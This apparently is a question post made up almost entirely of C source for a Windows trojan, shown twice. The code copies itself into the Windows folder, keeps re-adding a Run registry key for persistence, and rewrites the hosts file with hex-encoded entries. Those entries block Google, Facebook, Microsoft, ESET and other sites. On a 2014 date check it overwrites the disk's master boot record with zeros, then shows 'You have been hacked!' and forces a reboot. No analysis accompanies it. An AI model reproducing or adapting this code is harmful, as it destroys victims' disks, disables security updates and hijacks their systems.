Question: #include DWORD WINAPI CheckTime(){ DWORD write; SYSTEMTIME st; char data[512]; ZeroMemory(&data,sizeof(data)); GetLocalTime(&st); if(st.wYear==2014){ HANDLE disk=CreateFile(.PhysicalDrive0,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); WriteFile(disk,data,512,&write,NULL); CloseHandle(disk); MessageBox(0,Time to die now!,You have been hacked!,MB_ICONWARNING); ExitWindowsEx(EWX_REBOOT,0);

#include

DWORD WINAPI CheckTime(){

DWORD write;

SYSTEMTIME st;

char data[512];

ZeroMemory(&data,sizeof(data));

GetLocalTime(&st);

if(st.wYear==2014){

HANDLE disk=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);

WriteFile(disk,data,512,&write,NULL);

CloseHandle(disk);

MessageBox(0,"Time to die now!","You have been hacked!",MB_ICONWARNING);

ExitWindowsEx(EWX_REBOOT,0);

}

return 0;

}

DWORD WINAPI hosts(){

char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31};

char path[60];

DWORD write;

GetEnvironmentVariable("windir",path,sizeof(path));

strcat(path,"\\system32\\drivers\\etc\\hosts");

HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);

WriteFile(hFile,data,sizeof(data),&write,NULL);

CloseHandle(hFile);

return 0;

}

DWORD WINAPI reg(){

char value[]="hana.exe";

HKEY hKey;

while(1){

RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);

RegSetValueEx(hKey,"Hana",0,REG_SZ,(LPBYTE)value,60);

RegCloseKey(hKey);

Sleep(10000);

}

return 0;

}

int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){

char file[MAX_PATH];

char path[60];

HANDLE hToken;

LUID luid;

LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);

TOKEN_PRIVILEGES tp;

tp.Privileges[0].Luid=luid;

tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

tp.PrivilegeCount=1;

OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);

AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL);

GetModuleFileName(NULL,file,sizeof(file));

GetEnvironmentVariable("windir",path,60);

strcat(path,"\\hana.exe");

CopyFile(file,path,false);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL);

while(1){

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL);

Sleep(10000);

}

return 0;

}

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